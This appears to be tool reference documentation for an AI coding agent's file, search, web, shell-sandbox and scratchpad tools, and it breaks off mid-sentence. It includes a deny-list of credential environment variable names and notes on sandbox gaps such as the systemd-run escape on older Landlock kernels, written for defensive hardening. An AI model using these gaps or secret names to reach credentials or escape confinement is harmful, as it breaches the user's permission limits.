context_check takes no arguments and reports the current state:
Using 84000 of 200000 tokens (42%).
Headroom: 96000 tokens before the context ceiling at 90%. Auto-compaction fires there,
between turns or between two of your tool rounds.
Kept verbatim on compaction: about 16000 tokens of the most recent turns; everything
older is replaced by a summary.
Fixed overhead: about 12000 tokens of system prompt and tool schemas (estimated).
Compaction does not reclaim this.
Conversation: about 72000 tokens, which is the part compaction acts on.
Compactions so far: none, so nothing has been summarized away yet.
This exists because the pushed [Context budget] block is rendered once, at the start of a turn, and so does not move while the agent works. During a long tool loop it is stale. See What the agent sees. The headroom is net of what this round’s whole scratchpad_read calls have already taken, so it is the room the next read gets.
context_compact requests a compaction before the agent’s next step. It runs once the current batch of tool calls finishes, and the turn then continues against the summary; one request is honored per turn.
instructions: what to preserve or drop. Takes precedence over the default summary sections.keep_recent: whether to keep the most recent turns verbatim. Defaulttrue;falsestarts clean.
There is a third tool, context_replace, that exists only inside a checkpoint turn and is how the agent submits its summary. It is deliberately absent from the ordinary catalog and from [tools] configuration. See Compacting a session.
File operations
read_file
Read the contents of a file at a given path. Supports text files and images.
Permission: Read
Parameters
| Name | Type | Required | Description |
|---|---|---|---|
path | string | yes | The file path to read |
offset | integer | no | Line number to start reading from (0-based) |
limit | integer | no | Maximum number of lines to read (default: 2000) |
regex | string | no | Return matching lines (capped, exact value advertised in the tool’s parameter schema) instead of a line range. Skipped for image files. |
scratchpad | string | no | Save output to the scratchpad under this name |
Behavior
limitdefaults to 2000 lines. Whenever the read stops short of the end of the file, whether because of the default or an explicitlimit, a notice naming the range shown and the total line count is appended. A definitive answer drawn from a silent truncation is worse than an error.- Use
offset/limitto page through large files. - A single read holds at most 16 MiB in memory. Asking for the whole of a file larger than that is refused, because there is no bounded way to return it; asking for a window of one is not, and streams past everything outside the window. So a command-output capture larger than the ceiling stays readable a page at a time, which is what
execute_commandpromises when it spills one to a file. - A read that shows the whole file returns it byte for byte, so a CRLF file stays CRLF and an
old_stringcopied out of it applies as written. A windowed read normalizes line endings to\n; if a lateredit_filemisses for that reason it says so. - Under ACP the editor is asked for the whole document and the window is applied here, so both the truncation notice and the freshness fingerprint describe the document rather than the slice.
regexruns the pattern against each line and returnsline:contentrows (likegrep -n). It bypassesoffset/limitand is meaningless on image content. Under ACP it searches the editor’s copy of the file, like any other text read, so a search and the edit that follows it see the same document.
Image files
Recognized image extensions are returned as base64-encoded multimodal content:
- Provider-native (pass-through):
.png,.jpg/.jpeg,.gif,.webp,.bmp - Convertible (decoded and re-encoded as PNG transparently):
.tif/.tiff,.ico,.hdr,.exr,.tga,.pbm/.pgm/.ppm/.pnm,.qoi,.dds,.ff/.farbfeld - Unsupported (fall through to text read, which will fail on binary):
.svg,.jxl,.heic,.avif
Images are refused if the final payload exceeds 3.75 MB (~5 MB base64). Conversion can enlarge an image, so a small TIFF may produce a too-large PNG.
Every image read_file returns is decoded before it is sent, including the pass-through formats, and one that does not decode is a tool error naming the failure. The same door covers fetch_url, render_image, and an image a client attaches over ACP or the HTTP API. The decode is not about the extension: a truncated or corrupt PNG keeps a valid signature, so nothing short of decoding it tells the two apart. It matters because a broken image is not refused where it is read but inside the provider, by which time it sits in a tool result the session has already saved and every later turn re-sends.
The check is strict, including PNG chunk checksums, so a damaged file that some viewers still render is refused here. That is deliberate: meka cannot know which decoder is on the other end, and being wrong the other way puts an image the provider rejects into the session permanently. The error names what failed, so a file reported as corrupt is worth re-exporting.
JPEG is decoded through a separate strict path rather than the shared one. The library meka uses for every other format hardcodes its JPEG decoder into a permissive mode with no way to switch it off, and that mode returns a picture for a stream truncated to a tenth of its bytes; the file is the one most likely to arrive truncated, so it gets a decoder configured to say so. Truncation at any depth, and a scan corrupted in place, are both refused.
Three cases are not verified, and the last two are gaps rather than decisions:
- An image too big to decode: one whose pixel count would cost more than 128 MiB, roughly 33 megapixels. The ceiling exists to stop a crafted file exhausting meka’s own memory, and declining to decode achieves that; refusing as well would reject legitimate images, since a 6000x6000 screenshot compresses to a few hundred kilobytes and is inside Anthropic’s 8000 px single-image cap. Such a file is passed through and the provider decides. Note that meka cannot downscale one either, so it also bypasses the 2000 px multi-image cap the Claude provider applies.
- Frames after the first of an animated GIF or WebP: the decoder reads one frame, so damage confined to later frames is not seen.
- An image arriving from an MCP server, which sniffs magic bytes only rather than decoding a payload meka did not produce, and a conversation restored by
meka session import, whose message content is stored as supplied. A broken image through either door reaches the provider; the degrade-and-retry is what recovers the session when it does.
Only read image files when the current model supports vision input; text-only models will either error or silently drop the image block.
Examples
Read an entire file:
meka ~/project [r] > show me the contents of src/main.rs
Read lines 10-20:
meka ~/project [r] > show me lines 10 through 20 of src/main.rs
edit_file
Modify a file. Supports two modes: replace (swap old_string for new_string) and insert (place content before or after old_string while preserving the anchor). The file must have been read with read_file first (unless force is set).
Permission: Workspace
Parameters
| Name | Type | Required | Description |
|---|---|---|---|
path | string | yes | The file path to edit |
old_string | string | yes | The exact string to find (acts as anchor in insert modes) |
new_string | string | one of three | Replace mode: replacement for old_string (an empty string deletes it) |
insert_before | string | one of three | Insert mode: text inserted immediately before old_string (anchor preserved) |
insert_after | string | one of three | Insert mode: text inserted immediately after old_string (anchor preserved) |
replace_all | boolean | no | Apply to every occurrence (default: false). If false and old_string matches more than once, the edit is refused as ambiguous |
force | boolean | no | Proceed despite the file not having been read first, or having changed since it was read (default: false) |
scratchpad | string | no | Save output to the scratchpad under this name |
Exactly one of new_string, insert_before, or insert_after must be provided. Mixing modes is refused.
Behavior
-
A path outside the workspace roots is refused unless the level is
unrestricted; the refusal names the roots a write may land under. -
If
old_stringmatches more than once andreplace_allis not set, the edit is refused. Add surrounding context to make the anchor unique, or setreplace_allto change every occurrence. -
To delete text, use replace mode with an empty
new_string. -
The file must have been previously read with
read_fileon the same path. This prevents blind edits. Setforceto bypass this requirement. -
The read must still be valid. meka records the file’s modification time and size when it is read, and refuses an edit if either has changed since:
Error: file 'src/main.rs' changed on disk after you read it. Something else wrote to it (a shell command, another agent, or the user). Read it again before editing so you are not overwriting that change, or set force=true.This is a deliberately different message from the never-read case, because the next move differs: re-read to see what changed, then decide whether the edit still applies. Anything can be the other writer, an
execute_commandrunningsed -i, a background task, or you in another window.write_fileand a successfuledit_fileboth re-record the file, so consecutive edits never trip it.A read served by the editor under ACP is checked against the editor, not the disk. Those are two different documents that share a path: the editor serves its own copy of every file it owns, saved or not, so comparing one to the other would fire every time you save a file nobody edited and stay silent when you rewrite the buffer the agent is about to edit. meka fingerprints what the editor served and compares it against what the editor serves when the edit arrives, which it fetches anyway. Editing the buffer, or the editor reloading a file something else rewrote, is reported:
Error: file 'src/main.rs' changed in the editor after you read it. Someone edited the buffer, or the editor reloaded the file. Read it again before editing so you are not overwriting that change, or set force=true to edit anyway.Saving does not trip it: the document is unchanged, only the bytes on disk moved.
-
If
old_stringis not found, the tool returns an error (without modifying the file). -
On success, the response includes a small ±3-line snippet (with line numbers, lines truncated at 200 chars) around the first edited site so you can confirm the change landed without re-reading the file.
write_file
Create or overwrite a file with the given content.
Permission: Workspace
Parameters
| Name | Type | Required | Description |
|---|---|---|---|
path | string | yes | The file path to write |
content | string | yes | The content to write to the file |
force | boolean | no | Proceed despite the file having changed since it was read, or existing but being unreadable (default: false) |
scratchpad | string | no | Save output to the scratchpad under this name |
Behavior
- Creates parent directories if they do not exist.
- A path outside the workspace roots is refused unless the level is
unrestricted; the refusal names the roots a write may land under. - Overwrites the file if it already exists.
- Overwriting an existing file is subject to the same staleness check as
edit_file: if the file was read and has changed since, the write is refused with the message shown above andforceis the way past it. A whole-file rewrite is the more destructive of the two, so it is not the more permissive one. Creating a new file needs no prior read.
Search tools
Both tools default to sweeping every workspace root: the
working directory, plus any extra folders an ACP client supplied. Passing path searches exactly
that tree instead.
find_files
Find files matching a glob pattern.
Permission: Read
Parameters
| Name | Type | Required | Description |
|---|---|---|---|
glob | string | yes | Glob pattern to match files against |
path | string | no | Directory to search in. Omitted, every workspace root is walked |
limit | integer | no | Maximum results to return, at least 1 (defaults to 500 inline) |
scratchpad | string | no | Save output to the scratchpad under this name |
Behavior
- Results are limited to 500 matches inline;
limitraises the cap andscratchpadlifts it. - Returns one file path per line.
- The walk stops after 60 seconds. The result set is still returned, with a note saying it is incomplete, so a search rooted too high in the tree costs a minute rather than hanging the turn.
- Interrupting the turn (Ctrl+C, or
session/cancelfrom an editor) stops the walk. - Paths that cannot be read are skipped and counted; the total is reported once at the end rather than logged per path.
Glob patterns
| Pattern | Matches |
|---|---|
*.rs | All .rs files in the current directory |
**/*.rs | All .rs files recursively |
src/*.txt | All .txt files in src/ |
test_* | All files starting with test_ |
search_contents
Search file contents using a regex pattern. Powered by the ripgrep library.
Permission: Read
Parameters
| Name | Type | Required | Description |
|---|---|---|---|
pattern | string | yes | Regex pattern to search for |
path | string | no | File or directory to search in. Omitted, every workspace root is walked |
glob | string | no | Glob pattern to filter which files are searched (e.g., *.rs) |
limit | integer | no | Maximum matches to return, 1 to 100 (default: 100; unbounded with scratchpad unless set) |
scratchpad | string | no | Save output to the scratchpad under this name |
Behavior
- Searches recursively through directories.
- Skips hidden files (starting with
.), thetargetandnode_modulesdirectories, and, belowunrestricted, meka’s own private directories: the config directory, the data directory holdingmeka.db, and the command-output captures.find_filessteps around the same three. .gitignoreis not honored. Only the matcher comes from ripgrep; the walk is meka’s own, and those four exclusions are all of it. A build directory that is ignored but not named above is searched, so passgloborpathto stay out of one.- Results are limited to 100 matches;
limitlowers the cap, andscratchpadlifts it unlesslimitis also set. The search stops once the cap is exceeded instead of reading the rest of the tree to fill a result set it will truncate anyway. - The search stops after 60 seconds, returning what it found with a note saying it is incomplete.
- Interrupting the turn (Ctrl+C, or
session/cancelfrom an editor) stops the search. - Each result includes the file path, line number, and matching line.
Web
fetch_url
Fetch a web page and return its content as markdown text.
Permission: Read
Parameters
| Name | Type | Required | Description |
|---|---|---|---|
url | string | yes | The URL to fetch |
limit | integer | no | Maximum characters to return (default: 30000, 0 for no limit) |
headers | object | no | Custom HTTP headers (overrides defaults like User-Agent) |
regex | string | no | If provided, return only matching content (matches joined by newlines) |
raw | boolean | no | Return raw HTML instead of converting to markdown (default: false) |
scratchpad | string | no | Save output to the scratchpad under this name |
Behavior
- Fetches the page via HTTP GET.
- Converts HTML to Markdown using
fast_html2md(unlessrawis true).<nav>and<footer>containers are preserved (rewritten to<div>before conversion) so their links survive;fast_html2mdwould otherwise drop those subtrees as boilerplate.<script>/<style>/<head>are still stripped. - Resolves root-relative links against the page’s final (post-redirect) URL, so a
/docshref renders as the absolutehttps://host/docsthe model can follow directly. - Truncates the output to
limitcharacters (default: 30,000). Whenregexis given, the pattern runs against the whole document before this cap, solimitnever decides which matches exist; the cap then applies to the joined match list. - HTTP timeout: 30 seconds by default;
[web].request_timeoutchanges it, andconnect_timeout/read_timeoutadd tighter caps on the handshake and on a stalled body. - Reads at most 10 MiB of decompressed body, checked while streaming so a small compressed payload cannot expand past it.
- Returns the HTTP status code as an error if the request fails (e.g., 404, 500).
fetch_urlis not a network boundary. It reaches whatever the process can reach, including private and loopback addresses, and so does a sandboxedexecute_command, whose network is open. Confine the network at the host, not per tool.
Image URLs
If the response Content-Type is a supported raster image format, fetch_url returns a multimodal Image content block instead of markdown. No disk is touched; bytes are base64-encoded in memory.
Provider-native formats (passed through unchanged):
image/png,image/jpeg(andimage/jpg),image/gif,image/webp,image/bmp(andimage/x-ms-bmp)
Convertible formats (decoded and re-encoded as PNG transparently):
image/tiff,image/vnd.microsoft.icon/image/x-icon,image/vnd.radiance(HDR),image/x-exr,image/x-targa,image/x-portable-*(PNM),image/qoi,image/vnd.ms-dds,image/x-farbfeld
Unsupported formats (fall through to the text branch): image/svg+xml, image/jxl, image/heic, image/avif.
- The
limit,regex, andrawoptions do not apply to image responses. - Size cap of ~3.75 MB applies to the output bytes (after conversion). Conversion can enlarge an image, so a 1 MB TIFF may produce a larger PNG.
- Detection uses the response’s actual
Content-Typeheader, so redirect chains and extension-less URLs are handled correctly.
Only fetch image URLs when the current model supports vision input; text-only models will either error or silently drop the image block.
Shell tool
execute_command
Execute a shell command and return its output.
Permission: read (sandboxed read-only) / workspace (sandboxed, writable inside the workspace roots) / unrestricted (unsandboxed)
Parameters
| Name | Type | Required | Description |
|---|---|---|---|
command | string | yes | The shell command to execute |
timeout_ms | integer | no | Timeout in milliseconds (default: 30000) |
scratchpad | string | no | Save output to the scratchpad under this name |
Behavior
- Executes the command via
sh -c "<command>"on Unix, orpowershell.exe -NoProfile -NonInteractive -Command "<command>"on Windows, whether or not the command is sandboxed. - Captures both stdout and stderr.
- Returns the exit code along with the output if non-zero.
- Oversized output is losslessly persisted to the scratchpad by the agent layer; the tool does not truncate what it returns to the agent, up to the residency ceiling below.
- There is no cap on how much a command may print, but there is a cap on how much of it meka holds in memory. Past 8 MiB on one stream the bytes are written to a file instead, and the tool result carries the first and last 32 KiB plus that file’s path, so the whole capture stays reachable with
read_file. The file goes underMEKA_DATA_DIR/command-outputwhen that variable is set, else the platform cache directory’smekasubdirectory, else the temp directory; the temp directory is also the fallback when that directory cannot be created. Captures older than a day are swept on the way past. This exists because a command that writes faster than the turn ends (cat /dev/zero, a runaway build log) previously grew one buffer until the process died. - Default timeout is 30 seconds. If the command exceeds the timeout, it is killed (on Unix, via the process group so backgrounded grandchildren are caught too).
- Supports cancellation: pressing Ctrl+C while a command is running kills the child process.
Shell-specific semantics
- Unix (
sh -c): POSIX$VARexpansion applies. Pass a literal$with single quotes ('$foo') or backslash escape (\$foo). - Windows (
powershell.exe -Command): The script body reaches PowerShell directly. Use PowerShell syntax ($var = ...,$env:PATH), and crucially, do not wrap your command in anotherpowershell -Command "...". The outer PowerShell will expand your inner$varreferences to empty strings before the inner shell runs, producing a parser error on mangled syntax. If you need to invoke a nested script, drop it into a.ps1file and run it by path, use-EncodedCommand <base64>, or escape each$as`$.
Read-only sandbox
At read, commands run inside a sandbox that blocks writes to the user’s real data. Reads, program execution, and network access still work normally: the threat model is “no state mutation, but curl http://x | pdftotext must keep working.”
What’s blocked vs allowed (across all backends)
| Surface | Blocked | Allowed |
|---|---|---|
| Filesystem writes outside tmp / Low-integrity paths | ✓ | |
| Filesystem reads | ✓ | |
| Program execution | ✓ | |
| Outbound network (TCP/UDP) | ✓ | |
| dbus / systemd-user state mutations | Bubblewrap / macOS / Landlock on kernel 7.1+ | Landlock below kernel 7.1 / Windows |
| Mach IPC state mutation (launchd, pasteboard, LaunchServices) | macOS | Linux / Windows |
| COM / RPC to Low-integrity-accepting services (Windows) | ✓ | |
| Inheritance of sensitive parent env vars (API keys, OAuth tokens, …) | ✓ (all platforms) |
The sandbox is not an adversarial containment boundary; it’s defense-in-depth against an agent accidentally modifying user data. Set permission to none if you don’t trust a turn at all.
Scratch space: one place the backends genuinely differ
A confined command may or may not get a writable temporary directory, and this is the one difference between backends big enough to change which commands work:
| Backend | Scratch space | Effect |
|---|---|---|
Bubblewrap (read) | Private /tmp tmpfs | mktemp, git, python, gpg, pip all work |
Landlock (read) | None | Anything that writes a temp file is denied |
Windows workspace | None outside the roots | New-TemporaryFile is denied (measured) |
macOS Seatbelt (read) | Per-backend; see below |
Under Bubblewrap the child gets a private writable /tmp, so mktemp succeeds and the write goes nowhere real. Under Landlock there is no such directory and the write is simply denied, which takes git’s index lock, Python’s tempfile, gpg and pip with it. The same is true of workspace on Windows outside the granted roots.
This divergence is deliberate. Granting a scratch directory under Landlock would weaken what read promises on the backend that currently keeps that promise strictly, so the narrower behavior stays.
The practical cost is diagnostic: the model sees a bare Permission denied naming a path in /tmp (or %TEMP%), with nothing in the message connecting it to the sandbox, and cannot act on it. If a command fails that way and you expected it to work, install bwrap for Landlock hosts, or add the directory it wants as a writable root at workspace.
Environment variable scrubbing
The read sandbox still permits outbound network (the threat model intentionally keeps curl http://x | pdftotext-style pipelines working), so any secret in the parent process’s environment (ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, OAuth tokens, etc.) would be a live exfiltration vector under prompt injection. meka scrubs the child environment at spawn time across every backend (Bubblewrap, Landlock, Seatbelt, Windows Low-integrity).
-
Unix (Linux + macOS): allow-list. Only a curated set of vars survives into the
readchild:PATH,HOME,USER,LOGNAME,SHELL,PWD,TERM,COLORTERM,LANG,TMPDIR,TMP,TEMP, plus everything matching theLC_*andXDG_*prefixes. Becausereadintentionally keeps outbound network working, the proxy and CA-bundle vars survive too:HTTP_PROXY,HTTPS_PROXY,NO_PROXY,ALL_PROXY(and their lowercase spellings),SSL_CERT_FILE,SSL_CERT_DIR,REQUESTS_CA_BUNDLE,CURL_CA_BUNDLEandNODE_EXTRA_CA_CERTS, several of which redirect TLS trust, so treat them as part of the boundary. Anything else is dropped, including credential-shaped vars (AWS_*,GITHUB_TOKEN,OPENAI_API_KEY, …) and credential-pointer vars (SSH_AUTH_SOCK,KUBECONFIG,GNUPGHOME,NETRC,GIT_ASKPASS,GIT_SSH_COMMAND, etc.) as well as benign-but-unlisted vars likeEDITOR,PAGER,DISPLAY, custom toolchain vars, and so on. Unknown vars are dropped by default. -
Windows: deny-list. PowerShell pulls in a long tail of system vars (
PSModulePath,APPDATA,ProgramFiles, etc.) that don’t fit a tidy allow-list, so the Windows path lets everything through except names that match a heuristic deny-list. Dropped names include:- Credential-shaped substrings:
*TOKEN*,*SECRET*,*PASSWORD*,*PASSPHRASE*,*API_KEY*,*_KEY*,*BEARER*,*CREDENTIAL*, etc. - Credential-pointer substrings:
SSH_AUTH_SOCK,KUBECONFIG,GNUPGHOME,NETRC,GIT_ASKPASS,SSH_ASKPASS,GIT_SSH_COMMAND. - Provider / service prefixes:
ANTHROPIC_*,OPENAI_*,AWS_*,GCP_*,GOOGLE_*,AZURE_*,GITHUB_*,OPENROUTER_*,GROQ_*,MISTRAL_*,COHERE_*,DATABASE_*,POSTGRES_*,MONGO_*,STRIPE_*,CLOUDFLARE_*,VAULT_*,OAUTH_*,JWT_*,SENTRY_*,SLACK_*,DISCORD_*, and others; seeis_sensitive_env_nameinsrc/sandbox.rsfor the full list.
The deny-list is intentionally aggressive on false positives (a legitimate
GITHUB_ACTORis dropped alongsideGITHUB_TOKEN) because the cost of a missing env var is a confusing tool error, while the cost of a leaked credential is a live exfiltration channel. - Credential-shaped substrings:
unrestricted keeps the full parent environment. This is the trusted-operation path where users legitimately need NPM_TOKEN for npm publish, AWS_* creds for aws s3 cp, GH_TOKEN for gh pr create, etc. If you need a specific var inside a sandboxed shell command, switch to it for that turn.
An approved command is not an exception: with approvals on, a command you approve at read or workspace still runs in that level’s sandbox with the scrubbed environment. Approval never widens reach, so the prompt is a question about whether to run the command, not a grant of the environment behind it.
Linux: pick a backend
Linux supports two backends, selected via [shell].sandbox_backend in config.toml:
- Bubblewrap (
sandbox_backend = "bubblewrap", recommended): wraps the command inbwrapwith--ro-bind /, tmpfs masks over/run,/tmp,/var/tmp, and$XDG_RUNTIME_DIR, plus--unshare-user --unshare-pid --unshare-uts --unshare-ipc. The tmpfs masks make the dbus session bus, systemd-user socket, and other socket-on-disk IPC paths unreachable, sosystemctl --user start <unit>,dbus-send, and similar state-changing calls fail. Network is not unshared. Requires thebubblewrappackage and a kernel with user-namespace creation enabled. - Landlock (
sandbox_backend = "landlock", legacy / fallback): uses the Landlock LSM. Blocks filesystem writes vialandlock_restrict_self. Requires ABI v3 (kernel 6.2+): below that the kernel does not mediatetruncate(2), so a sandboxed command could still empty an existing file despite every open-for-write being denied. meka reports Landlock unusable on those kernels rather than sandboxing with a ruleset that does not enforce whatreadpromises, which means kernels 5.13–6.1 need Bubblewrap installed for the shell atread. On kernel 7.1+ (ABI v9) Landlock also blocksconnect()to every Unix socket on disk, which closes the dbus / systemd-user route out of the sandbox but likewise breaks socket-based clients such asdockerandpsqlatread. Between ABI v3 and v9 that right does not exist, so a sandboxed shell can invoke state-mutating dbus methods andsystemd-run --userescapes the filesystem restriction entirely; meka warns at startup naming exactly which mitigations the running ABI lacks. Prefer Bubblewrap, which removes those sockets on any kernel.
sandbox_backend is unset unless you pin it yourself; no command writes it. When unset, meka probes Bubblewrap once at startup and prefers it when available, falling back to Landlock with one warning at startup: that it did so, that Landlock isolates less, and that it cannot hide meka’s config and credential store from a sandboxed command. Pinning sandbox_backend = "landlock" accepts that and silences the warning.
[shell]
sandbox = true # default; set to false to disable
sandbox_backend = "bubblewrap" # or "landlock"; unset = auto-detect
macOS and Windows
- macOS: Uses
sandbox-execwith a hardened SBPL profile (modeled after Codex’s vendored seatbelt policy, which is itself based on Chrome’s renderer sandbox). The profile is closed-by-default: filesystem writes are blocked, Mach-lookup is restricted to a curated allow-list of safe services, and mutation paths (launchd job control, pasteboard, LaunchServices, distributed notifications) are not in the allow-list. Network and DNS resolution remain available. Thesandbox_backendconfig key is ignored. - Windows: Spawns the child with a duplicated primary token dropped to Low integrity (
SECURITY_MANDATORY_LOW_RID) viaSetTokenInformation(TokenIntegrityLevel, …). Writes to the home directory,%APPDATA%, Program Files, and system directories (any location with Medium-or-higher integrity ACLs) are blocked by the kernel. Low integrity also strips token privileges, and the same env scrubbing applied on Unix runs here (see Environment variable scrubbing above). Thesandbox_backendconfig key is ignored.
Low integrity is not a total write-denial: the child can still write to the small residual Low-integrity-writable surface (%LOCALAPPDATA%\Low, %TEMP%\Low, any path with an explicit Low-integrity write ACE) and to files it creates itself.
Windows at workspace
workspace uses a second mechanism, not the Low-integrity token above. meka derives a capability
SID from each workspace root, places an inheritable GENERIC_WRITE | DELETE ACE for it on that
root, and runs the shell under a WRITE_RESTRICTED token carrying that capability, so a write
succeeds exactly where one of those ACEs exists. Three consequences worth knowing before you use it:
- meka has to own the root, which is what lets it grant without elevation. A network share or another user’s folder cannot be a workspace root.
- PowerShell runs in ConstrainedLanguage mode under a restricted token, so scripts that
construct .NET types fail there while working at
unrestricted. meka’s UTF-8 output preamble is skipped for the same reason, so non-ASCII output may be mangled atworkspace. - The ACE is real, standing state on your directory, visible in
icacls. It is released when the process exits, Ctrl+C included, but not after a crash or a kill.
See Permissions for the full account.
When the configured backend is unavailable
If sandbox_backend = "bubblewrap" is set but bwrap isn’t on $PATH (or user namespaces are denied), execute_command at read returns a hard error rather than silently falling back. The error names the configured backend and the specific failure reason. Either install bubblewrap, set sandbox_backend = "landlock", or switch to unrestricted (Shift+Tab).
Disabling the sandbox entirely
To disable sandboxed shell execution altogether, set sandbox = false under [shell]. When disabled, shell commands require unrestricted: read loses the tool entirely, and workspace refuses it with an error naming the key, because there is no longer anything to hold the boundary that level promises. Reach for unrestricted on those turns rather than expecting workspace to quietly run unconfined.
[shell]
sandbox = false
Scratchpad
The scratchpad is a session-scoped working memory that the agent can use to store, retrieve, edit, and manage content without consuming conversation context. Entries are identified by string names and persist across turns within a session.
When the scratchpad is used
- Proactively: The agent stores intermediate results (extracted text, API responses, research notes) for later use.
- Via
scratchpadparameter: any tool call carrying one has its output saved there instead of returned inline. See Scratchpad parameter for which tools advertise it. - Automatically: when a tool’s output exceeds 30,000 bytes, it is saved under a generated name (e.g.
execute_command_a1b2c3_1) and replaced with a preview. Reading the entry back is never treated that way: ascratchpad_readreply stays inline however large, sized to what fits in the context window (seelimitbelow).
Tools
The whole family ships default-active; no load_tool round-trip is required to use any of them.
scratchpad_write
Store content in the scratchpad. If the name already exists, the content is overwritten.
Permission: Read
| Name | Type | Required | Description |
|---|---|---|---|
name | string | yes | Name for the entry |
content | string | yes | The content to store |
scratchpad_read
Read or search a scratchpad entry by name.
Permission: Read
| Name | Type | Required | Description |
|---|---|---|---|
name | string | yes | The entry name |
offset | integer | no | Byte offset to start reading from (default: 0) |
limit | integer | no | Maximum bytes to return. Pass the entry’s size to load all content in one call; a read that would carry the context past the context_ceiling_percent line is cut there, whether or not auto_compact is on, and the reply names the offset to continue from. The cut is sized by a token bound that errs toward cutting: letters count about five to a token, every digit, symbol and non-ASCII character counts as one, so dense text such as numbers, hashes or JSON is cut sooner than prose. A read never returns less than the 30,000 bytes any tool may return inline. (Default and exact value are advertised in the tool’s parameter schema.) |
regex | string | no | Search the entry and return matching lines (capped, exact value advertised in the tool’s parameter schema). |
scratchpad_edit
Edit a scratchpad entry in place. Provide content for a full overwrite, or old_string/new_string for targeted replacement.
Permission: Read
| Name | Type | Required | Description |
|---|---|---|---|
name | string | yes | The entry name |
content | string | no | Full replacement (mutually exclusive with old/new) |
old_string | string | no | String to find |
new_string | string | no | Replacement string |
replace_all | boolean | no | Replace all occurrences (default: false) |
scratchpad_list
List all scratchpad entries as a table with Name, Size, Created and Origin columns, the last own for an entry this session wrote and inherited for one a parent lent a sub-agent read-only. No parameters.
Permission: Read
scratchpad_delete
Delete a scratchpad entry by name.
Permission: Read
| Name | Type | Required | Description |
|---|---|---|---|
name | string | yes | The entry name to delete |
scratchpad_merge
Combine several entries into one without routing the bytes through the conversation. Useful for
collecting parallel sub-agent reports. The entries go in the order given: sources first, as
listed, then every own entry whose name starts with prefix, in name order. The sources are kept
as they are; nothing is deleted, and target is overwritten if it exists. A sub-agent cannot merge
into a name it inherited read-only from its parent, though it may name such an entry in sources;
prefix selects only its own entries.
Permission: Read
| Name | Type | Required | Description |
|---|---|---|---|
sources | array of string | no | Entry names to combine, in this order; optional when prefix is given |
prefix | string | no | Also combine every own entry whose name starts with this, in name order, after sources; target itself is never selected |
target | string | yes | Name to store the result under; overwrites if it exists |
format | string | no | concat_with_headers (default) puts a --- name --- line before each entry’s content, concat joins the contents with a newline, json_array parses each content as JSON (quoting one that is not) into one compact array |
scratchpad_rename
Rename an entry without round-tripping its content through the conversation. Errors if old does
not exist, if new already exists, or, for a sub-agent, if either name is inherited read-only.
Permission: Read
| Name | Type | Required | Description |
|---|---|---|---|
old | string | yes | Current entry name |
new | string | yes | Replacement entry name |
scratchpad_load_file
Read a file’s contents into a scratchpad entry without the bytes passing through the conversation.
The model never sees the payload, which is what makes this the way to stage a large log or document
for inherit_scratchpad. UTF-8 text only; a binary file is refused with its detected MIME type.
Overwrites an existing entry of the same name, and a sub-agent cannot load into a name it inherited
read-only from its parent.
Permission: Read
| Name | Type | Required | Description |
|---|---|---|---|
path | string | yes | The file path to read |
name | string | yes | Name to store the contents under |
scratchpad_save_file
Write a scratchpad entry out to a file, again without routing the bytes through the conversation. A sub-agent can save an entry it inherited, so a sub-agent’s report reaches disk without being copied through the model.
Permission: Workspace
This is the one scratchpad tool that leaves meka’s own storage, so it is the one that requires a
level that can write. It reads as the scratchpad’s write_file and is fenced identically: at
workspace the path must resolve inside a workspace root, and the refusal is the same one
write_file gives. Every other scratchpad tool stays at read because the scratchpad lives in
the store, not your tree.
| Name | Type | Required | Description |
|---|---|---|---|
name | string | yes | The scratchpad entry to read from |
path | string | yes | The file path to write to |
force | boolean | no | Proceed despite the file already existing, or existing but being unreadable (default: false) |
Handing entries to a sub-agent
agent_spawn’s inherit_scratchpad takes a list of the parent’s entry names and grants the
sub-agent read-only access to exactly those:
agent_spawn(prompt: "summarize the failures", inherit_scratchpad: ["build_log"])
The sub-agent’s scratchpad_read falls back to the parent for an inherited name, and its
scratchpad_list shows the entry with origin inherited. scratchpad_write, scratchpad_edit and
scratchpad_delete targeting one return an error, so a sub-agent cannot rewrite what it was lent.
This is how a large captured output reaches a sub-agent without being re-inlined into the prompt.
When you expect to delegate a result later, name it at the source with the scratchpad parameter
(execute_command({command: "...", scratchpad: "build_log"})) so there is a semantic name to pass
through.
Lifecycle
- Entries are scoped to the session and persist across turns.
- Entries survive session compaction (
/compact). - Entries are deleted when the session is deleted.
- Two sessions can have entries with the same name without conflict.
- Writing to an existing name overwrites it silently.
Internals
A map of the source tree for contributors: how the modules depend on each other, how one turn
travels through them, where state lives, which rules are enforced by a single named predicate, and
what each host offers. The code is the reference; this page says where to look. Every name here
was checked against the tree when it was written, so if a name is missing, grep for it before
assuming the page is right.
Layering
The tree reads top-down. Each module calls the ones below it and never the ones above or beside it,
and tests/layering.rs scans every crate:: path in production code to keep it that way. Every
top-level module has a rank there; an edge may only point at a strictly greater rank. The tolerated
list is empty. One upward edge is by design, tools/subagent.rs building an Agent, because a
sub-agent is an agent.
rank module holds
0 main argument parsing; picks a host or a cli handler
1 host the layer between a host and the agent, and the four hosts under it
2 cli clap definitions and one handler file per subcommand group
2 relay tracing output routed around the live REPL prompt
3 console the terminal between two prompts: spacing, notices, errors
4 render markdown, tool indicators, todo lists, status lines
5 agent the turn loop, tool dispatch, compaction, recovery
5 view the JSON record shapes --format json and the HTTP API share
6 tools the Tool trait, the registry, the built-ins, MCP tools as Tools
7 prompt the system prompt and the per-turn context block
8 session the materials a session is built from, and its live cells
9 scheduler the sweep that claims due jobs and hands a Wakeup to a host
9 background tool calls the agent starts and does not wait for
10 mcp the MCP client: connections, published tools, progress, auth
11 provider the Provider trait, wire types, the registry, one backend per API
12 frontend the Frontend trait, its events, and the two generic frontends
12 skills skill discovery and loading
12 instructions the standing instructions file
12 oauth expiry, refresh, the refresh lock, PKCE
12 sandbox read-only confinement for execute_command
13 workspace cwd, roots, the write fence, private-directory refusals
13 tokens token estimates for the gauge between provider reports
14 store every SQL statement, behind one connection owner
15 schedule what a scheduled job is: parsing, gates, the scheduler's memory
16 conversation the event-log conversation and its title
16 stats per-session counters
16 config config.toml, ResolvedConfig; profile.rs holds accounts and profiles
16 memory the memory entry
17 entry what skills and memories share: an indexed entry
17 permission levels, the enabled set, the shared cell, the approvals switch
17 todo the task list
17 image format detection and transcoding
18 fs private directories, atomic replace, file locks
19 error MekaError
19 sync locks that outlive a panic
19 streams raw stderr
19 paths the config and data directories
20 text pure text helpers: widths, columns, sizes, timestamps, unknown_name
relay is installed by the two terminal hosts (host/repl.rs, host/oneshot.rs) and by
